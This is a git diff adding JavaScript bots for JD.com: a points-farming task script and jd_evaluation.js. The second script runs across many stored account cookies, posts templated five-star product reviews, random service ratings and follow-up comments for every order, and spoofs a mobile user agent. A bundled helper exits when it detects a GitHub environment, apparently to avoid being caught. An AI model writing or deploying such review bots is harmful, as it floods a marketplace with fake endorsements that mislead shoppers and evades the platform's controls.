{ + console.log(`去领取${$.tasklist[i].taskDesc}任务`) + await taskrecord($.tasklist[i].id) + await $.wait(3000); + console.log(`去领取积分`) + await taskreceive($.tasklist[i].id) + } + } +} +function taskrecord(id) { + let body ={ + "id": id, + "agentNum": "m", + "taskType": 1, + "followChannelStatus": "" + } + return new Promise(resolve => { + $.post(taskPostUrl("task/record",body),(err,resp,data)=>{ + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if(data){ + if(data.code === 200){ + if (data.data.dwUserTask) { + $.log(" 领取任务成功") + }else{ + $.log(" 此任务已经领取过了") + } + }else{ + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} +function taskreceive(id) { + return new Promise(resolve => { + $.get(taskPostUrl(`task/receive?id=${id}`),(err,resp,data)=>{ + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if(data){ + if (data.code === 200 && data.data.success){ + console.log(` 领取任务积分:获得${data.data.giveScoreNum}`) + }else if(data.code === 200 && !data.data.success){ + console.log(" 积分已经领取完了") + }else{ + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function usersign() { + return new Promise(resolve => { + $.get(taskPostUrl("sign"),(err,resp,data)=>{ + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if(data){ + if (data.code === 200){ + console.log(`签到成功:获得积分${data.data.signInfo.signNum}\n`) + }else{ + console.log("似乎签到完成了\n") + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function tasklist() { + return new Promise(resolve => { + $.get(taskPostUrl("task/list"),(err,resp,data)=>{ + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if(data){ + $.tasklist =data.data + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body) { + return { + url: `https://dwapp.jd.com/user/${function_id}`, + body: JSON.stringify(body), + headers: { + "Host": "dwapp.jd.com", + "Origin": "https://prodev.m.jd.com", + "Connection": "keep-alive", + "Accept": "*/*", + "User-Agent": `jdapp;iPhone;10.1.0;13.5;${$.UUID};network/wifi;model/iPhone11,6;addressid/4596882376;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + "Accept-Language": "zh-cn", + "Referer": "https://prodev.m.jd.com/mall/active/eEcYM32eezJB7YX4SBihziJCiGV/index.html", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/json", + "Cookie": cookie, + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_evaluation.js b/jd_evaluation.js new file mode 100644 index 0000000..b9bbf31 --- /dev/null +++ b/jd_evaluation.js @@ -0,0 +1,587 @@ +if (!["true"].includes(process.env.JD_Evaluation)) { + console.log("避免自动运行请设置评价环境变量JD_Evaluation为\"true\"来运行本脚本") + return +} +/* +京东评价 +参考jd_Evaluation.py + +变量 EVAL_IMGS 格式 //img30.360buyimg.com/shaidan/jfs/t1/169124/31/25110/42459/61a586c7Ec6b49656/1549ee98784f868d.jpg +export EVAL_IMGS=‘//img30.360buyimg.com/shaidan/jfs/t1/169124/31/25110/42459/61a586c7Ec6b49656/1549ee98784f868d.jpg&xxx’ +by:jiulan +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东评价 +37 15 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_evaluation.js, tag=京东评价, enabled=true + +================Loon============== +[Script] +cron "37 15 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_evaluation.js,tag=京东评价 + +===============Surge================= +京东评价 = type=cron,cronexp="37 15 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_evaluation.js + +============小火箭========= +京东评价 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_evaluation.js, cronexpr="37 15 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东评价'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let commentImgList = [ + '//img30.360buyimg.com/shaidan/jfs/t1/169124/31/25110/42459/61a586c7Ec6b49656/1549ee98784f868d.jpg', + '//img30.360buyimg.com/shaidan/jfs/t1/220117/4/6009/64307/61a586d6E0d3462c9/2d49512023e40761.jpg', + '//img30.360buyimg.com/shaidan/jfs/t1/213046/15/6166/10322/61a586e5Ea4397e3d/d143a8d0a0d96bd8.jpg', + '//img30.360buyimg.com/shaidan/jfs/t1/169124/31/25110/42459/61a586c7Ec6b49656/1549ee98784f868d.jpg', + '//img30.360buyimg.com/shaidan/jfs/t1/220117/4/6009/64307/61a586d6E0d3462c9/2d49512023e40761.jpg', + '//img30.360buyimg.com/shaidan/jfs/t1/156957/9/27398/4391/61bb2a3cEca6a4bab/20005aabe0573a0a.jpg', + '//img30.360buyimg.com/shaidan/jfs/t1/143995/15/24443/5327/61860ba4Ecba97817/d7faafa606f76b1f.jpg']; +if ($.isNode()) { + console.log('配置文件中添加变量自定义评价图片') + console.log('多个图片请用&隔开,请自行替换图片!') + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + + let otherImgList = []; + if (process.env.EVAL_IMGS) { + console.log(process.env.EVAL_IMGS) + if (process.env.EVAL_IMGS.indexOf('&') > -1) { + console.log(`您的评价图片 选择的是用&隔开\n`) + otherToken = process.env.EVAL_IMGS.split('&'); + } else if (process.env.EVAL_IMGS.indexOf('\n') > -1) { + console.log(`您的评价图片 选择的是用换行隔开\n`) + otherToken = process.env.EVAL_IMGS.split('\n'); + } else { + otherToken = process.env.EVAL_IMGS.split(); + } + } + Object.keys(otherImgList).forEach((item) => { + if (otherImgList[item]){ + commentImgList.push(otherImgList[item]); + } + }) + +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let goodsList = [] + + +!(async () => { + + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.hot = false; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + goodsList = [] + //评价和服务评价 + console.log(`******开始获取评价和服务评价列表******`); + await getOrderList(3,1,10) + if(goodsList && goodsList.length){ + for(let item of goodsList){ + await $.wait(5000) + let cName = item["cname"]; + if (cName ==="评价晒单"){ + console.log(`******开始评价******`); + await sendEval(item); + // await $.wait(1000) + // await sendServiceEval(item); + }else if (cName ==="评价服务"){ + console.log(`******开始评价服务******`); + await sendServiceEval(item); + }else if (cName ==="追加评价") { + console.log(`******开始晒单******`); + await appendComment(item); + } + } + } + // goodsList = [] + // await $.wait(1000) + // //晒单 + // console.log(`******开始获取晒单列表******`); + // await getOrderList(6,1,10) + // if(goodsList && goodsList.length){ + // for(let item of goodsList){ + // await $.wait(1000) + // let cName = item["cname"]; + // if (cName ==="追加评价") { + // console.log(`******开始晒单******`); + // await appendComment(item); + // } + // } + // } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function getOrderList(orderType,startPage,pageSize){ + return new Promise(async (resolve) => { + let options = taskUrl(orderType,startPage,pageSize) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.errCode === '0') { + if (data.orderList && data.orderList.length) { + for (let da of data.orderList) { + for (let j of da['buttonList']) { + if (j['id'] === 'toComment') { + goodsList.push({ + "oid": da['orderId'], + "pid": da['productList'][0]['skuId'], + "name": da['productList'][0]['title'], + "cname": j['name'], + "multi": da['productList'].length === 1, + }) + } + } + } + } + if (data.totalDeal <= pageSize + 1 && startPage < 10) { + console.log('查询下一页 startPage !', startPage + 1); + await $.wait(2000) + await getOrderList(orderType, startPage + 1, pageSize) + } + } else { + console.log('快去买买买!'); + console.log('getOrderList error !', data); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +/** + * 评价和服务评价 + */ +function sendEval(item){ + let url = "https://comment-api.jd.com/comment/sendEval?sceneval=2&g_login_type=1&g_ty=ajax"; + let data = { + 'productId': item['pid'], + 'orderId': item['oid'], + 'commentTagStr': 1, + 'anonymous': 1, + 'scence': 101100000, + 'score': 5, + 'syncsg': 0, + 'content': generation(item['name'],true,"1"), + 'userclient': 29, + 'imageJson': '', + 'videoid':'', + 'URL':'' + } + //getRandomArrayElements(commentImgList,1)[0] + return new Promise(async (resolve) => { + let content = urlEncode(data); + content = content.substr(1,content.length); + + let options = { + url: url, + headers: { + "Host": "comment-api.jd.com", + "Accept": "application/json", + + "Content-Type": "application/x-www-form-urlencoded", + 'referer': 'https://comment-api.jd.com', + "Cookie": cookie, + "Connection": "keep-alive", + 'Origin': 'https://comment-api.jd.com', + 'Sec-Fetch-Site': 'same-site', + 'Sec-Fetch-Mode': "cors", + 'Sec-Fetch-Dest': "empty", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language":"zh-CN,zh;q=0.9", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + },body:content + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data);; + if (data.iRet === 0) { + console.log('普通评价成功!'); + } else { + console.log('普通评价失败了.....'); + console.log(data); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +/** + * 服务评价 + */ +function sendServiceEval(item){ + let url = `https://comment-api.jd.com/comment/sendDSR?pin=&_=${new Date().getTime()}&sceneval=2&g_login_type=1&callback=json&g_ty=ls`; + let data = { + 'userclient': '29', + 'orderId': item["oid"], + 'otype': 1, + 'DSR1': Math.floor(Math.random() * 2 + 3), + 'DSR2': Math.floor(Math.random() * 2 + 3), + 'DSR3': Math.floor(Math.random() * 2 + 3), + 'DSR4': Math.floor(Math.random() * 2 + 3) + } + return new Promise(async (resolve) => { + let options = { + url: url+urlEncode(data), + headers: { + "Host": "comment-api.jd.com", + "Accept": "application/json", + 'referer': 'https://comment.m.jd.com', + "Cookie": cookie, + "Connection": "keep-alive", + 'Sec-Fetch-Site': 'same-site', + 'Sec-Fetch-Mode': "cors", + 'Sec-Fetch-Dest': "empty", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language":"zh-CN,zh;q=0.9", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.errMsg === 'success') { + console.log('服务评价成功!'); + } else { + console.log("data", data); + console.log('服务评价失败了.....'); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +/** + * 晒单 + */ +function appendComment(item){ + let data = { + 'productId': item['pid'], + 'orderId': item['oid'], + 'content': generation(item['name'],false,"0"), + 'userclient': 29, + 'imageJson': '' + } + //getRandomArrayElements(commentImgList,1)[0] + let content = urlEncode(data); + content = content.substr(1,content.length); + return new Promise(async (resolve) => { + let options = { + "url": "https://comment-api.jd.com/comment/appendComment?sceneval=2&g_login_type=1&g_ty=ajax", + "headers": { + "Host": "comment-api.jd.com", + "Accept": "application/json", + 'Origin': 'https://comment.m.jd.com', + 'referer': 'https://comment.m.jd.com', + "Cookie": cookie, + "Connection": "keep-alive", + 'Sec-Fetch-Site': 'same-site', + 'Sec-Fetch-Mode': "cors", + 'Sec-Fetch-Dest': "empty", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language":"zh-CN,zh;q=0.9", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + 'body': content + } + // console.log("options",options) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.errMsg === 'success') { + console.log('晒单成功!'); + } else { + console.log('晒单失败!', data); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +/** + * 获取评论 + * @param pname + * @param usePname + * @param type 0 追评 1评价 + */ +function generation(pname,usePname,type){ + let name = '宝贝'; + if (usePname){ + name = pname; + } + let data = { + "0": { + "开始": [ + " $ 产品挺好的,东西是真的好,", + "使用了几天 $ ", + "这是我买到的最好的$ ", + "是真的好用啊,几天的体验下来,真是怀恋当初购买时下单的那一刻的激动!!!!!!!!!", + "用了几天下来,$ 的产品的确不错!", + "$ 的东西,真是太令人愉悦了,买了都说好好好好!", + "东西很好,这家店的 $ 真是太好了。", + "$ 发货速度款,性价比很高,对得起这个价格!", + "继续推荐,价格实惠,品质有保证!" + ], + "中间": [ + "物流挺快的,刚才货到了,看了一下很好!", + "$东西还行,", + "$很好用客服态度也很好,", + "确实是好东西,推荐大家购买,", + "$ 的质量真的非常不错!", + "$ 真是太好用了,真是个宝贝,难忘的宝贝!!", + "$ 短短几天的体验,确实不错", + "简直太棒了,刚收到货就迫不及待的拆开了,非常棒很不错,推荐使用!", + "$ 产品质量不错的,非常可以", + " 货到了 $感觉非常棒 物价所值", + "买到赚到,物有所值!", + "$非常好,价格便宜关键是东西好,买了好多次这次买的质量非常好,大爱,强烈推荐", + "五星好评,安排上,东西太好拉!!!" + ], + "结束": [ + "推荐大家来尝试", + "这家店的客服真的太好了。!", + "真是一次愉快的购物!", + "以后买$还来这家店,推荐哦!", + "下次还来这家店买 $ ,推荐哦", + "东西很好,物有所值", + "挺不错的,推荐大家购买哦", + "非常不错的一次购物", + "五星好评,满意满意满意", + "$赠送的物品非常丰富,物超所值,值得购买!" + ] + }, + "1": { + "开始": [ + "考虑买这个$之前我是有担心过的,因为我不知道$的质量和品质怎么样,但是看了评论后我就放心了。", + "买这个$之前我是有看过好几家店,最后看到这家店的评价不错就决定在这家店买 ", + "看了好几家店,也对比了好几家店,最后发现还是这一家的$评价最好。", + "看来看去最后还是选择了这家。", + "之前在这家店也买过其他东西,感觉不错,这次又来啦。", + "这家的$的真是太好用了,用了第一次就还想再用一次。" + ], + "中间": [ + "收到货后我非常的开心,因为$的质量和品质真的非常的好!", + "拆开包装后惊艳到我了,这就是我想要的$!", + "快递超快!包装的很好!!很喜欢!!!", + "非常好,非常好好用,舒服,评个五星,发货快一天就到了。", + "包装的很精美!$的质量和品质非常不错!", + "收到快递后迫不及待的拆了包装。$我真的是非常喜欢", + "$包装不错,很严密,产品样数和下单一样,送的东西也很满意。五星好评!", + "购物过程愉快,产品也和我心意,非常喜欢!!" + ], + "结束": [ + "经过了这次愉快的购物,我决定如果下次我还要买$的话,我一定会再来这家店买的。", + "不错不错!", + "我会推荐想买$的朋友也来这家店里买", + "真是一次愉快的购物!", + "大大的好评!以后买$再来你们店!( ̄▽ ̄)", + "非常好!分享给你体验一下你就知道了,非常棒", + "非常好,非常好好用,舒服,评个五星,发货快一天就到了。", + "大家可以来购买,$的质量很好,满意满意" + ] + } + } + let context = getRandomArrayElements(data[type]["开始"],1)[0].replace('$',name)+ + getRandomArrayElements(data[type]["中间"],1)[0].replace('$',name)+ + getRandomArrayElements(data[type]["结束"],1)[0].replace('$',name); + //+new Date().getTime(); + return context +} +function taskUrl(orderType,startPage,pageSize) { + return { + url: `https://wq.jd.com/bases/orderlist/list?order_type=${orderType}&start_page=${startPage}&last_page=0&page_size=${pageSize}&callersource=mainorder&traceid=&t=${new Date().getTime()}&sceneval=2&g_ty=ls&g_tk=5381`, + headers: { + 'Accept': 'application/json', + "Content-Type": "application/x-www-form-urlencoded", + 'referer': 'https://wqs.jd.com/', + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +/** + * 随机从一数组里面取 + * @param arr + * @param count + * @returns {Buffer} + */ +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, 